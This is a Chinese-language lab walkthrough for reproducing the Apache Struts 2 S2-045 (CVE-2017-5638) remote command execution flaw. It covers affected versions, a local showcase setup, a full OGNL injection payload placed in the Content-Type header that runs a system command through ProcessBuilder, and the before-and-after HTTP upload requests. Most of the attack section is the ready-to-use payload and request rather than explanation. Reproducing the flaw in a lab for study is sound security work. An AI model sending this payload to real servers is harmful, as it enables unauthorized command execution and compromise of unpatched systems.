Struts-2 S2-045

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一、参考网址：（视频）

https://www.ichunqiu.com/course/57725

二、 影响版本：

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

三、 漏洞介绍：

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

四、 环境搭建：

• 参考网址：
  http://netsecurity.51cto.com/art/201707/544837.htm

• 下载/struts/2.3.24

下载地址：http://archive.apache.org/dist/struts/2.3.24/
百度云链接：链接：http://pan.baidu.com/s/1dFeUyNv 密码：279t

• 下载安装xampp

• 部署showcase

1.png

• 解压

2.png

• 复制到

3.png

重启tomcat

4.png

• 已成功自动部署

5.png

• 访问http://127.0.0.1:8080/struts2-showcase/index.action

五、 POC:

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

六、 测试数据包：

原始http数据包为

POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close

------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain

asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"

1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—

更改后为

POST /struts2-showcase/fileupload/doUpload.action;jsessionid=8B365C019F676093D27D8C0D21439C2B HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 279
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" boundary=----WebKitFormBoundaryXx80aU0pu6vrsV3z
Referer: http://127.0.0.1:8080/struts2-showcase/fileupload/upload.action
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B365C019F676093D27D8C0D21439C2B
Connection: close

------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="upload"; filename="2.txt"
Content-Type: text/plain

asd
------WebKitFormBoundaryXx80aU0pu6vrsV3z
Content-Disposition: form-data; name="caption"

1
------WebKitFormBoundaryXx80aU0pu6vrsV3z—

七、执行结果

45-2.png

八、 至此，该漏洞基本利用完毕

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